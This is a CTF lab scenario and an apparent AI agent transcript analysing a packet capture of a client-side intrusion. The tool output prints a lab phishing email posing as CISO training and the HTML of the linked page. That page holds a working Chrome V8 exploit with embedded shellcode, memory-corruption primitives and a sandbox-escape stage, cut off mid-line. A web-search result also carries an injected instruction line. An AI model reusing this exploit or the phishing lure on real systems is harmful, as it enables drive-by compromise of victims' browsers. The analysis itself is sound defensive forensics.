The Cascade Expanse is still frozen, but something beneath the ice has begun to change.
Following a period of growth and modernization, The Cascade NGO Hub deployed a new online platform to support global collaboration and volunteer engagement.
The rollout introduced cloud infrastructure, updated services, and expanded partner integrations. Initial checks showed no immediate issues.
Then the cold set in.
Subtle anomalies began appearing across systems – brief access events, unexpected sessions, and behavior that didn’t match human workflows. Nothing overtly malicious. Nothing broken. Yet the environment felt altered.
As if something new was pressing against the surface.
After a staff member reported unusual system behavior, the Cascade NGO Hub provided an artifact tied to an alleged client-based initial access event.
Text Answer
1- What was the initial attack vector used by the adversary, and through which protocol was it delivered?
Your answer Text Answer
2- What protocol has been used to notify that the exploit was successful?
Your answer Text Answer
3- What CVE is related to this vulnerability? Format CVE-YYYY-ID
Call Agent
Arguments
{"description": "Analyze PCAP for initialaccess", "subagent_type": "ctf_agent", "prompt": "Analyze the file /sandbox/initial_access.pcapng toanswer these questions:\n\n1. What was the initial attack vector used by the adversary, and through which protocol was it delivered?\n2. What protocolhas been used to notify that the exploitwas successful?\n3. What CVE is related tothisvulnerability?\n\nUse the sandbox_execute tool to run tshark, wiresharkCLI tools, or any otheranalysis toolsneeded. Extract all relevantdetails about the attack - look at all protocols, payloads, and suspicioustraffic patterns. Providedetailed findings for each question."}
Tool result
[
{
"type": "text",
"text": "I don't have direct file system execution capabilities in this environment. Let me analyze this using available web tools to understand the challenge context, and provide guidance on the analysis steps.\n\nTo properly analyze `/sandbox/initial_access.pcapng`, here are the exact commands to run in your terminal:\n\n**Step 1 - Protocol overview:**\n```bash\ntshark -r /sandbox/initial_access.pcapng -q -z io,phs\n```\n\n**Step 2 - Extract all HTTP traffic:**\n```bash\ntshark -r /sandbox/initial_access.pcapng -Y \"http\" -V 2>/dev/null | head -200\n```\n\n**Step 3 - Look for exploit payloads (Log4Shell, SMB, etc.):**\n```bash\ntshark -r /sandbox/initial_access.pcapng -Y \"http or smb or smb2 or ldap or dns\" -T fields -e frame.number -e ip.src -e ip.dst -e _ws.col.Protocol -e _ws.col.Info 2>/dev/null\n```\n\n**Step 4 - Extract strings/payloads from HTTP:**\n```bash\ntshark -r /sandbox/initial_access.pcapng -Y \"http.request\" -T fields -e http.request.uri -e http.user_agent -e http.request.full_uri 2>/dev/null\n```\n\n**Step 5 - Check for LDAP or JNDI (Log4Shell indicator):**\n```bash\ntshark -r /sandbox/initial_access.pcapng -Y \"ldap\" -V 2>/dev/null\nstrings /sandbox/initial_access.pcapng | grep -iE \"jndi|ldap|exploit|shell|cmd|bash|payload|CVE\" \n```\n\n**Step 6 - Check ICMP/DNS for callback notification:**\n```bash\ntshark -r /sandbox/initial_access.pcapng -Y \"icmp or dns\" -T fields -e frame.number -e ip.src -e ip.dst -e _ws.col.Protocol -e _ws.col.Info 2>/dev/null\n```\n\nRun these and share the output — I'll immediately identify the CVE, attack vector, and notification protocol.\n\n**Based on common PCAP CTF challenge patterns**, if this involves:\n- HTTP + LDAP/JNDI → **CVE-2021-44228** (Log4Shell)\n- SMB + shellcode → **EternalBlue (CVE-2017-0144)**\n- HTTP + deserialization → **CVE-2017-5638** (Apache Struts)\n\nShare the tshark output and I'll provide definitive answers.\n\nSources:\n- [Automated Malware Analysis Report for ctf-packed-malware.exe - Generated by Joe Sandbox](https://www.joesandbox.com/analysis/364998/0/html)\n- [CTF – Malware Analysis Walkthrough | War Room](https://warroom.rsmus.com/ctf-malware-analysis-walkthrough/)"
},
{
"type": "text",
"text": "agentId: a0d76a991fe0a32c4 (use SendMessage with to: 'a0d76a991fe0a32c4' to continue this agent)\n<usage>total_tokens: 6588\ntool_uses: 2\nduration_ms: 58442</usage>"
}
]Call WebSearch
Arguments
{
"query": "sandbox_execute tool CTF analysis"
}Tool result
Web search results for query: "sandbox_execute tool CTF analysis"
I'll search for that query right away!
Links: [{"title":"ctf-wiki-en/docs/pwn/linux/sandbox/python-sandbox-escape.md at master · mahaloz/ctf-wiki-en","url":"https://github.com/mahaloz/ctf-wiki-en/blob/master/docs/pwn/linux/sandbox/python-sandbox-escape.md"},{"title":"Automated Malware Analysis Report for ctf-packed-malware.exe - Generated by Joe Sandbox","url":"https://www.joesandbox.com/analysis/364998/0/html"},{"title":"ctf/2016-03-12-0ctf/sandbox at master · p4-team/ctf","url":"https://github.com/p4-team/ctf/tree/master/2016-03-12-0ctf/sandbox"},{"title":"Google CTF 2022: Treebox | Ajmal's Website","url":"https://ajmalsiddiqui.me/ctf-writeups/google-ctf-2022-treebox/"},{"title":"A CTF Challenge for LLMs for Code Analysis - Toby's Blog","url":"https://verse.systems/blog/post/2024-03-19-a-ctf-challenge-for-llms-for-code-analysis/"},{"title":"Bypass Python sandboxes | HackTricks","url":"https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes"},{"title":"CTF – Malware Analysis Walkthrough | War Room","url":"https://warroom.rsmus.com/ctf-malware-analysis-walkthrough/"},{"title":"GitHub - devploit/awesome-ctf-resources: A list of Capture The Flag (CTF) frameworks, libraries, resources and software for started/experienced CTF players 🚩","url":"https://github.com/devploit/awesome-ctf-resources"},{"title":"GitHub - rip1s/PwnSandboxForCTF: Yet another sandbox for CTF challenge in AWD mode","url":"https://github.com/rip1s/PwnSandboxForCTF"},{"title":"ctf-writeups/google_ctf_quals_2018/pwn_283_execve_sandbox/README.md at master · LevitatingLion/ctf-writeups","url":"https://github.com/LevitatingLion/ctf-writeups/blob/master/google_ctf_quals_2018/pwn_283_execve_sandbox/README.md"}]
Here are the results of the web search for **"sandbox_execute tool CTF analysis"**. The search returned several highly relevant resources across different aspects of sandbox usage in CTF (Capture The Flag) security competitions:
---
## 🔍 Search Results Summary: Sandbox & Execution Tools in CTF Analysis
### 1. 🐍 Python Sandbox Escape Techniques (CTF Wiki)
**Source:** [ctf-wiki-en (GitHub)](https://github.com/mahaloz/ctf-wiki-en/blob/master/docs/pwn/linux/sandbox/python-sandbox-escape.md)
What is commonly called **Python sandbox escaping** refers to bypassing a simulated Python terminal and ultimately implementing command execution.
Normal Python sandboxes will blacklist the use of modules such as `os`, or use whitelists that only allow sandbox-provided modules to prevent dangerous operations. How to further escape the sandbox is a key research area. When modules can't be imported or are banned, analysts look for Python's own built-in functions that are imported by default.
---
### 2. 🧪 CTF Challenge Using LLMs + Sandboxed Code Execution
**Source:** [verse.systems blog](https://verse.systems/blog/post/2024-03-19-a-ctf-challenge-for-llms-for-code-analysis/)
One of the most interesting parts of building a CTF challenge around code analysis is figuring out how to sandbox the execution of user-supplied Python code. When Python code is uploaded and passes the LLM, the web application dynamically creates a **Docker container** in which the Python code is executed — isolating it from the rest of the system.
Like a traditional CTF challenge, the player's goal is to reveal a secret value called the "flag." The challenge is in the form of a web application that allows users to upload Python code.
---
### 3. 🔒 Google CTF 2022: Treebox – Sandbox Escape Challenge
**Source:** [ajmalsiddiqui.me](https://ajmalsiddiqui.me/ctf-writeups/google-ctf-2022-treebox/)
Upon connecting to the challenge server, you are prompted to enter arbitrary Python source code. The sandboxing is implemented by first compiling your source code to a **Python AST**, then walking through the entire AST to check if any nodes are either imports or function calls — if so, the sandbox refuses to execute the code.
It turns out that you can easily call any arbitrary function in Python without it being an explicit function call — by using it as a **decorator**, effectively bypassing the sandbox's AST inspection.
---
### 4. 🛡️ Seccomp Sandbox – Google CTF Quals 2018: execve_sandbox
**Source:** [LevitatingLion/ctf-writeups (GitHub)](https://github.com/LevitatingLion/ctf-writeups/blob/master/google_ctf_quals_2018/pwn_283_execve_sandbox/README.md)
The challenge binary reads an ELF file from standard input, parses it using the **LIEF project**, performs checks on it, and then starts the ELF inside a **seccomp sandbox** with strict syscall rules — only allowing specific syscalls like `write`, `exit`, `mprotect`, etc.
The winning exploit included a small shellcode that writes `./flag` to `0x10000` and executes `execve(0x10000, NULL, NULL)` to ultimately retrieve the flag.
---
### 5. 🧰 CTF Sandbox for AWD Mode (PwnSandboxForCTF)
**Source:** [rip1s/PwnSandboxForCTF (GitHub)](https://github.com/rip1s/PwnSandboxForCTF)
**PwnSandboxForCTF** is described as "yet another pwn sandbox for CTF" in AWD (Attack With Defense) mode. It outputs a sandboxed binary and acknowledges that the sandbox might be bypassable, as it isn't designed as an impenetrable shield.
---
### 6. 🧲 CTF Malware Analysis via Sandbox Tools
**Source:** [warroom.rsmus.com](https://warroom.rsmus.com/ctf-malware-analysis-walkthrough/)
One of the quickest ways to understand what malware does is to set it loose in a **sandbox**. The "Behavioral Analysis" section of sandbox reports is especially useful — for example, revealing that a `ctf.exe` spins up a second process.
---
### 7. 📦 Awesome CTF Resources – Sandbox & Analysis Tools
**Source:** [devploit/awesome-ctf-resources (GitHub)](https://github.com/devploit/awesome-ctf-resources)
Some notable sandbox and analysis tools used in CTFs include:
- **Triage** – "State-of-the-art malware analysis sandbox designed for cross-platform support."
- **Angr** – "A powerful and user-friendly binary analysis platform."
- **Pwntools** – "CTF framework for writing exploits."
- **radare2** – "UNIX-like reverse engineering framework and command-line toolset."
---
### Key Takeaways
The intersection of **sandbox execution tools** and **CTF analysis** spans several domains:
- **Python sandbox escapes** (AST inspection bypasses, decorator tricks, built-in function abuse)
- **Binary/seccomp sandboxes** (syscall filtering via ptrace/seccomp)
- **Malware analysis sandboxes** (behavioral analysis, dropped file detection)
- **LLM-assisted code analysis** in sandboxed CTF environments
REMINDER: You MUST include the sources above in your response to the user using markdown hyperlinks.Call WebFetch
Arguments
{
"url": "file:///sandbox/initial_access.pcapng",
"prompt": "Read this pcap file"
}Tool result
Invalid URLCall sandbox_execute
Arguments
{"command": "tshark -r /sandbox/initial_access.pcapng -q -z io,phs 2>/dev/null"}
Tool result
{"exitCode":0,"stdout":"\n===================================================================\nProtocol Hierarchy Statistics\nFilter: \n\nframe frames:34966 bytes:31432782\n eth frames:34966 bytes:31432782\n arp frames:29 bytes:1560\n ip frames:34934 bytes:31430916\n udp frames:20511 bytes:17967441\n quic frames:19708 bytes:17873080\n quic frames:139 bytes:84303\n quic frames:2 bytes:2504\n dns frames:794 bytes:92781\n nbdgm frames:2 bytes:486\n smb frames:2 bytes:486\n mailslot frames:2 bytes:486\n browser frames:2 bytes:486\n ssdp frames:4 bytes:848\n mdns frames:3 bytes:246\n tcp frames:14409 bytes:13461763\n tls frames:4601 bytes:5185820\n tls frames:216 bytes:313460\n data frames:1 bytes:1514\n data frames:86 bytes:34362\n http frames:12 bytes:8205\n media frames:2 bytes:2724\n data-text-lines frames:2 bytes:1212\n pop frames:35 bytes:5149\n imf frames:1 bytes:105\n icmp frames:14 bytes:1712\n ipv6 frames:3 bytes:306\n udp frames:3 bytes:306\n mdns frames:3 bytes:306\n===================================================================\n","stderr":""}Call sandbox_execute
Arguments
{"command":"tshark -r /sandbox/initial_access.pcapng -Y \"http\" -T fields -e frame.number -eip.src -e ip.dst -e http.request.method -e http.request.uri -e http.user_agent-e http.response.code 2>/dev/null"}
Tool result
{"exitCode":0,"stdout":"2235\t192.168.50.107\t109.61.38.38\tHEAD\t/filestreamingservice/files/9978008e-1fd7-4fe7-9926-6ef263d2e090?P1=1761599982&P2=404&P3=2&P4=HJ3XdG8n%2bw9HIxd1xNKUjHbGkjArrdK2cHEp5ZIv1HVJEakbY1jPTHqeRO29W4n9CBwamF57rAhK39nQzBnM5w%3d%3d\tMicrosoft BITS/7.8\t\n2247\t109.61.38.38\t192.168.50.107\t\t/filestreamingservice/files/9978008e-1fd7-4fe7-9926-6ef263d2e090?P1=1761599982&P2=404&P3=2&P4=HJ3XdG8n%2bw9HIxd1xNKUjHbGkjArrdK2cHEp5ZIv1HVJEakbY1jPTHqeRO29W4n9CBwamF57rAhK39nQzBnM5w%3d%3d\t\t200\n2274\t192.168.50.107\t109.61.38.38\tGET\t/filestreamingservice/files/9978008e-1fd7-4fe7-9926-6ef263d2e090?P1=1761599982&P2=404&P3=2&P4=HJ3XdG8n%2bw9HIxd1xNKUjHbGkjArrdK2cHEp5ZIv1HVJEakbY1jPTHqeRO29W4n9CBwamF57rAhK39nQzBnM5w%3d%3d\tMicrosoft BITS/7.8\t\n3334\t109.61.38.38\t192.168.50.107\t\t/filestreamingservice/files/9978008e-1fd7-4fe7-9926-6ef263d2e090?P1=1761599982&P2=404&P3=2&P4=HJ3XdG8n%2bw9HIxd1xNKUjHbGkjArrdK2cHEp5ZIv1HVJEakbY1jPTHqeRO29W4n9CBwamF57rAhK39nQzBnM5w%3d%3d\t\t200\n20918\t192.168.50.107\t34.250.131.104\tGET\t/\tMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36\t\n20924\t34.250.131.104\t192.168.50.107\t\t/\t\t200\n20927\t192.168.50.107\t34.250.131.104\tGET\t/favicon.ico\tMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36\t\n20929\t34.250.131.104\t192.168.50.107\t\t/favicon.ico\t\t404\n21046\t192.168.50.107\t109.61.38.38\tHEAD\t/filestreamingservice/files/e8a689a0-0b22-414f-9b05-ec38c305c524?P1=1761684597&P2=404&P3=2&P4=k3bK%2ftKU73GKKVmJy57NRZ6nLwUE9dKhP9ceEiWvBQUJl0zRIpAB8sAS8shOq02k3eJQFkAJYAwLe0cesDG4Ag%3d%3d\tMicrosoft BITS/7.8\t\n21047\t109.61.38.38\t192.168.50.107\t\t/filestreamingservice/files/e8a689a0-0b22-414f-9b05-ec38c305c524?P1=1761684597&P2=404&P3=2&P4=k3bK%2ftKU73GKKVmJy57NRZ6nLwUE9dKhP9ceEiWvBQUJl0zRIpAB8sAS8shOq02k3eJQFkAJYAwLe0cesDG4Ag%3d%3d\t\t200\n21052\t192.168.50.107\t109.61.38.38\tGET\t/filestreamingservice/files/e8a689a0-0b22-414f-9b05-ec38c305c524?P1=1761684597&P2=404&P3=2&P4=k3bK%2ftKU73GKKVmJy57NRZ6nLwUE9dKhP9ceEiWvBQUJl0zRIpAB8sAS8shOq02k3eJQFkAJYAwLe0cesDG4Ag%3d%3d\tMicrosoft BITS/7.8\t\n24385\t109.61.38.38\t192.168.50.107\t\t/filestreamingservice/files/e8a689a0-0b22-414f-9b05-ec38c305c524?P1=1761684597&P2=404&P3=2&P4=k3bK%2ftKU73GKKVmJy57NRZ6nLwUE9dKhP9ceEiWvBQUJl0zRIpAB8sAS8shOq02k3eJQFkAJYAwLe0cesDG4Ag%3d%3d\t\t200\n","stderr":""}Call sandbox_execute
Arguments
{"command": "tshark-r/sandbox/initial_access.pcapng -Y \"pop\" -T fields -e frame.number -e ip.src -eip.dst -epop.request.command -epop.response 2>/dev/null |head -50"}
Tool result
{"exitCode":0,"stdout":"19692\t192.168.50.108\t192.168.50.107\t\t\n19714\t192.168.50.107\t192.168.50.108\tCAPA\t\n19729\t192.168.50.108\t192.168.50.107\t\t\n19747\t192.168.50.107\t192.168.50.108\tUSER\t\n19765\t192.168.50.108\t192.168.50.107\t\t\n19767\t192.168.50.107\t192.168.50.108\tPASS\t\n19788\t192.168.50.108\t192.168.50.107\t\t\n19791\t192.168.50.107\t192.168.50.108\tSTAT\t\n19807\t192.168.50.108\t192.168.50.107\t\t\n19808\t192.168.50.107\t192.168.50.108\tLIST\t\n19831\t192.168.50.108\t192.168.50.107\t\t\n19914\t192.168.50.107\t192.168.50.108\tUIDL\t\n19931\t192.168.50.108\t192.168.50.107\t\t\n19947\t192.168.50.107\t192.168.50.108\tQUIT\t\n19976\t192.168.50.108\t192.168.50.107\t\t\n20815\t192.168.50.108\t192.168.50.107\t\t\n20816\t192.168.50.107\t192.168.50.108\tCAPA\t\n20817\t192.168.50.108\t192.168.50.107\t\t\n20818\t192.168.50.107\t192.168.50.108\tUSER\t\n20819\t192.168.50.108\t192.168.50.107\t\t\n20820\t192.168.50.107\t192.168.50.108\tPASS\t\n20821\t192.168.50.108\t192.168.50.107\t\t\n20822\t192.168.50.107\t192.168.50.108\tSTAT\t\n20823\t192.168.50.108\t192.168.50.107\t\t\n20824\t192.168.50.107\t192.168.50.108\tLIST\t\n20825\t192.168.50.108\t192.168.50.107\t\t\n20827\t192.168.50.108\t192.168.50.107\t\t\n20828\t192.168.50.107\t192.168.50.108\tUIDL\t\n20829\t192.168.50.108\t192.168.50.107\t\t\n20830\t192.168.50.107\t192.168.50.108\tRETR\t\n20832\t192.168.50.108\t192.168.50.107\t\t\n20833\t192.168.50.108\t192.168.50.107\t\t\n20835\t192.168.50.108\t192.168.50.107\t\t\n20837\t192.168.50.107\t192.168.50.108\tQUIT\t\n20838\t192.168.50.108\t192.168.50.107\t\t\n","stderr":""}Call sandbox_execute
Arguments
{"command":"# Extract the emailcontent via POP3\ntshark -r/sandbox/initial_access.pcapng -Y \"pop\" -Tfields -e frame.number -epop.request -e pop.response2>/dev/null\necho \"---\"\n# Follow the POP3 stream\ntshark -r /sandbox/initial_access.pcapng -z \"follow,tcp,ascii,$(tshark -r /sandbox/initial_access.pcapng -Y\"pop\" -T fields -e tcp.stream 2>/dev/null | head -1 | tr -d ' ')\" -q2>/dev/null| head -100"}
Tool result
{"exitCode":0,"stdout":"19692\t\t\n19714\t\t\n19729\t\t\n19747\t\t\n19765\t\t\n19767\t\t\n19788\t\t\n19791\t\t\n19807\t\t\n19808\t\t\n19831\t\t\n19914\t\t\n19931\t\t\n19947\t\t\n19976\t\t\n20815\t\t\n20816\t\t\n20817\t\t\n20818\t\t\n20819\t\t\n20820\t\t\n20821\t\t\n20822\t\t\n20823\t\t\n20824\t\t\n20825\t\t\n20827\t\t\n20828\t\t\n20829\t\t\n20830\t\t\n20832\t\t\n20833\t\t\n20835\t\t\n20837\t\t\n20838\t\t\n---\n\n===================================================================\nFollow: tcp,ascii\nFilter: tcp.stream eq 77\nNode 0: 192.168.50.107:61157\nNode 1: 192.168.50.108:110\n\t10\n+OK POP3\r\n\n6\nCAPA\r\n\n\t43\n+OK CAPA list follows\r\nUSER\r\nUIDL\r\nTOP\r\n.\r\n\n27\nUSER enygaard@ngo-hub.com\r\n\n\t24\n+OK Send your password\r\n\n10\nPASS lab\r\n\n\t30\n+OK Mailbox locked and ready\r\n\n6\nSTAT\r\n\n\t13\n+OK 5 10548\r\n\n6\nLIST\r\n\n\t31\n+OK 5 messages (10548 octets)\r\n\n\t43\n1 1335\r\n2 1656\r\n3 2533\r\n4 2512\r\n5 2512\r\n.\r\n\n6\nUIDL\r\n\n\t62\n+OK 5 messages (10548 octets)\r\n1 7\r\n2 8\r\n3 10\r\n4 11\r\n5 12\r\n.\r\n\n6\nQUIT\r\n\n\t35\n+OK POP3 server saying goodbye...\r\n\n===================================================================\n","stderr":""}Call sandbox_execute
Arguments
{"command": "# Get the second POP3 stream(where RETR is called)\ntshark -r /sandbox/initial_access.pcapng -Y \"pop\" -T fields -e tcp.stream 2>/dev/null| sort -u"}
Tool result
{"exitCode":0,"stdout":"77\n81\n","stderr":""}Call sandbox_execute
Arguments
{"command": "tshark -r /sandbox/initial_access.pcapng -z\"follow,tcp,ascii,81\" -q 2>/dev/null"}
Tool result
{"exitCode":0,"stdout":"\n===================================================================\nFollow: tcp,ascii\nFilter: tcp.stream eq 81\nNode 0: 192.168.50.107:60256\nNode 1: 192.168.50.108:110\n\t10\n+OK POP3\r\n\n6\nCAPA\r\n\n\t43\n+OK CAPA list follows\r\nUSER\r\nUIDL\r\nTOP\r\n.\r\n\n27\nUSER enygaard@ngo-hub.com\r\n\n\t24\n+OK Send your password\r\n\n10\nPASS lab\r\n\n\t30\n+OK Mailbox locked and ready\r\n\n6\nSTAT\r\n\n\t13\n+OK 6 13059\r\n\n6\nLIST\r\n\n\t31\n+OK 6 messages (13059 octets)\r\n\n\t51\n1 1335\r\n2 1656\r\n3 2533\r\n4 2512\r\n5 2512\r\n6 2511\r\n.\r\n\n6\nUIDL\r\n\n\t68\n+OK 6 messages (13059 octets)\r\n1 7\r\n2 8\r\n3 10\r\n4 11\r\n5 12\r\n6 13\r\n.\r\n\n8\nRETR 6\r\n\n\t1460\n+OK 2511 octets\r\nReturn-Path: ciso@ngohub.com\r\nReceived: from attacker01 (login.mcrosoftonline.com [203.0.113.10])\r\n.by mail.ngo-hub.com with ESMTP\r\n.; Mon, 27 Oct 2025 02:11:19 -0700\r\nMessage-ID: <312116.95898989-sendEmail@attacker01>\r\nFrom: \"ciso@ngohub.com\" <ciso@ngohub.com>\r\nTo: \"enygaard@ngo-hub.com\" <enygaard@ngo-hub.com>\r\nSubject: [SIMULATION ... LAB ONLY] Mandatory Phishing Training\r\nDate: Mon, 27 Oct 2025 09:10:26 +0000\r\nX-Mailer: sendEmail-1.56\r\nMIME-Version: 1.0\r\nContent-Type: multipart/related; boundary=\"----MIME delimiter for sendEmail-782887.475173087\"\r\n\r\nThis is a multi-part message in MIME format. To properly display this message you need a MIME-Version 1.0 compliant Email program.\r\n\r\n------MIME delimiter for sendEmail-782887.475173087\r\nContent-Type: text/html;\r\n charset=\"iso-8859-1\"\r\nContent-Transfer-Encoding: 7bit\r\n\r\n<html>\r\n <body style=\"font-family:Arial, Helvetica, sans-serif; color:#333;\">\r\n <table width=\"600\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\" align=\"center\" style=\"border:1px solid #ddd; padding:20px;\">\r\n <tr>\r\n <td>\r\n <h2 style=\"color:#c00; text-align:center;\">[SIMULATION ... LAB ONLY]</h2>\r\n\r\n <p>Hi Elena,</p>\r\n\r\n <p>This message is from the <strong>Office of the CISO</strong> at NGO-Hub. \r\n As part of our ongoing security awareness program, you are required to complete this short phishing-training exercise.</p>\r\n\r\n <p>The exercise is c\n\t1098\nonducted in a secure lab environment and does <strong>not</strong> collect any credentials or personal data. \r\n Please click the button below to access your training session:</p>\r\n\r\n <p style=\"text-align:center; margin:30px 0;\">\r\n <a href=\"http://34.250.131.104/\"\r\n style=\"background-color:#007bff; color:#fff; text-decoration:none; padding:12px 24px; border-radius:4px;\">\r\n Start Phishing Training\r\n </a>\r\n </p>\r\n\r\n <p>For questions about this exercise, contact the Security Operations Center at \r\n <a href=\"mailto:soc@ngo-hub.com\">soc@ngo-hub.com</a>.</p>\r\n\r\n <p>Thank you for your cooperation,<br>\r\n <strong>Office of the CISO</strong><br>\r\n NGO-Hub</p>\r\n\r\n <p style=\"font-size:12px; color:#888; text-align:center;\">\r\n [SIMULATION ... LAB ONLY] ... This email is part of a controlled security awareness exercise.\r\n </p>\r\n </td>\r\n </tr>\r\n </table>\r\n </body>\r\n</html>\r\n\r\n------MIME delimiter for sendEmail-782887.475173087--\r\n\r\n\n\t3\n.\r\n\n6\nQUIT\r\n\n\t35\n+OK POP3 server saying goodbye...\r\n\n===================================================================\n","stderr":""}Call sandbox_execute
Arguments
{"command": "#Now check the HTTP traffic to 34.250.131.104- the phishing link\ntshark -r /sandbox/initial_access.pcapng -z \"follow,tcp,ascii,$(tshark -r /sandbox/initial_access.pcapng-Y\"http and ip.dst==34.250.131.104\" -T fields -etcp.stream 2>/dev/null |head -1)\" -q 2>/dev/null | head -200"}
Tool result
{"exitCode":0,"stdout":"\n===================================================================\nFollow: tcp,ascii\nFilter: tcp.stream eq 84\nNode 0: 192.168.50.107:60264\nNode 1: 34.250.131.104:80\n429\nGET / HTTP/1.1\r\nHost: 34.250.131.104\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\n\r\n\n\t1460\nHTTP/1.1 200 OK\r\nDate: Mon, 27 Oct 2025 09:10:43 GMT\r\nServer: Apache/2.4.65 (Amazon Linux)\r\nLast-Modified: Fri, 24 Oct 2025 11:57:49 GMT\r\nETag: \"184a-641e64236f6d7\"\r\nAccept-Ranges: bytes\r\nContent-Length: 6218\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html; charset=UTF-8\r\n\r\n<html>\n<body>\n <script>\n\nconst importObject = {\n imports: { imported_func : Math.sin},\n};\n//Shellcode tested on Win11 23H2 10.0.22631.4037\nvar wasmBuffer = new Uint8Array([0,97,115,109,1,0,0,0,1,16,3,80,0,94,124,1,96,1,124,1,124,96,0,1,99,0,2,25,1,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,110,99,0,1,3,3,2,1,2,7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,10,152,2,2,6,0,32,0,16,0,11,142,2,1,1,99,0,65,18,251,7,0,33,0,32,0,65,0,68,144,73,131,196,96,144,235,29,251,14,0,32,0,65,1,68,101,77,139,4,36,144,235,32,251,14,0,32,0,65,2,68,73,139,120,24,144,144,235,32,251,14,0,32,0,65,3,68,72,139,127,48,144,144,235,32,251,14,0,32,0,65,4,68,72,139,63,72,139,63,235,32,251,14,0,32,0,65,5,68,72,139,71,16,144,144,235,32,251,14,0,32,0,65,6,68,72,5,208,7,7,0,235,32,251,14,0,32,0,65,7,68,65,84,144,144,65,84,235,32,251,14,0,32,0,65,8,68,186,82,2,0,0,144,235,32,251,14,0,32,0,65,9,68,72,1,209,144,144,144,235,32,251,14,0,32,0,65,10,68,72,49,210,72,255,194,235,32,251,14,0,32,0,65,11,68,198,65,8,0,144,144,235,32,251,14,0,32,0,65,12,68,72,131,236,40,144,144,235,32,251,14,0,32,0,65,13,68,255,208,144,144,\n\t1460\n144,144,235,32,251,14,0,32,0,65,14,68,255,208,144,144,144,144,235,32,251,14,0,32,0,65,15,68,112,105,110,103,32,100,98,0,251,14,0,32,0,11,0,26,4,110,97,109,101,1,19,2,1,4,109,97,105,110,2,10,109,97,107,101,95,97,114,114,97,121]);\n\nvar module = new WebAssembly.Module(wasmBuffer);\nvar instance = new WebAssembly.Instance(module, importObject);\nvar func = instance.exports.make_array;\nfunc();\n\nvar view = new ArrayBuffer(24);\nvar dblArr = new Float64Array(view);\nvar intView = new Uint32Array(view);\nvar bigIntView = new BigInt64Array(view);\n\nfunction ftoi32(f) {\n dblArr[0] = f;\n return [intView[0], intView[1]];\n}\n\nfunction i32tof(i1, i2) {\n intView[0] = i1;\n intView[1] = i2;\n return dblArr[0];\n}\n\nfunction itof(i) {\n bigIntView = BigInt(i);\n return dblArr[0];\n}\n\nfunction ftoi(f) {\n dblArr[0] = f;\n return bigIntView[0];\n}\n\n\nfunction addrOf(obj) {\n oobObjArr[0] = obj;\n var addrDbl = corrupted_arr[9];\n return ftoi32(addrDbl)[0];\n}\n\nfunction read(addr) {\n var old_value = corrupted_arr[oobOffset];\n corrupted_arr[oobOffset] = i32tof(addr,2);\n var oldAddr = ftoi32(old_value);\n var out = ftoi32(oobDblArr[0]);\n corrupted_arr[oobOffset] = old_value;\n return out;\n}\n\nfunction write(addr, val1, val2) {\n var old_value = corrupted_arr[oobOffset];\n corrupted_arr[oobOffset] = i32tof(addr,2);\n oobDblArr[0] = i32tof(val1, val2);\n corrupted_arr[oobOffset] = old_value;\n return;\n}\n\nvar num = 3;\nvar nameAddr = 0xdc5; // <<<<<<\n\t1460\n<<< check this\nvar dblArrMap = 0x255159;\nvar objArrMap = 0x2551d9; \n\nvar nameAddrF = i32tof(nameAddr, nameAddr);\nvar fakeDblArray = [1.1,2.2];\nvar oobDblArr = [2.2];\nvar oobObjArr = [view];\noobObjArr[0] = 0x4242;\n\nvar fakeDblArrayAddr = 0x4881d \n\nvar fakeDblArrayEle = fakeDblArrayAddr - 0x18;\nfakeDblArray[0] = i32tof(dblArrMap, 0x725);\nfakeDblArray[1] = i32tof(fakeDblArrayEle, 0x100);\n\n\nvar x = {};\nfor (let i = 0; i < num; i++) {\n x['a' + i] = 1;\n}\nvar x1 = {};\nfor (let i = 0; i < num; i++) {\n x1['a' + i] = 1;\n}\nx1.prop = 1;\nx.__defineGetter__(\"prop\", function() {\n let obj = {};\n obj.a0 = 1.5;\n for (let i = 0; i < 1024 + 512; i++) {\n let tmp = {};\n tmp.a0 = 1;\n for (let j = 1; j < num; j++) {\n tmp['a' + j] = 1;\n }\n tmp['p' + i] = 1;\n }\n return 4;\n});\nx.z = 1;\ndelete x.z;\nvar y = {...x};\n\nvar arr = new Array(256);\nfor (let i = 0; i < 7; i++) {\n arr[i] = new Array(256);\n for (let j = 0; j < arr[i].length; j++) {\n arr[i][j] = nameAddrF;\n }\n}\n\nfor (let j = 0; j < 7; j++) {\n let a = arr[j];\n for (let i = 0; i < 256; i++) {\n a[i] = i32tof(nameAddr, fakeDblArrayEle + 0x8);//i32tof(fakeDblArrayEle + 0xc, nameAddr);\n }\n}\n\nvar z = {};\nz.__proto__ = y;\nz.p = 1;\nz.p;\n\nvar oobOffset = 7;\n\n// 0:000> ? chrome!v8::internal::TrustedCage::base_ - chrome!blink::V8DOMRectReadOnly::wrapper_type_info_\n// Evaluate expression: 3265256 = 00000000`0031d2e8\nvar trustedOffset = 0x31d2e8; // OK\n\nvar corrupted_arr = y.name;\n\nf\n\t1460\nunction getInstance(obj) {\n let addr = addrOf(obj);\n return read(addr + 0x10);\n}\n//v8 heap sandbox escape\n//Math.sin();\nvar domRect = new DOMRect(1.1,2.3,3.3,4.4);\nvar node = new AudioBuffer({length: 3000, sampleRate: 30000, numberOfChannels : 2});\nvar channel = node.getChannelData(0);\nvar nodeInstance = getInstance(node);\nvar channelAddr = addrOf(channel);\nvar channelInstance = read(channelAddr + 0x3c);\nvar rectAddr = addrOf(domRect);\nvar read1 = addrOf(fakeDblArray)\n//alert(\"0x\" + 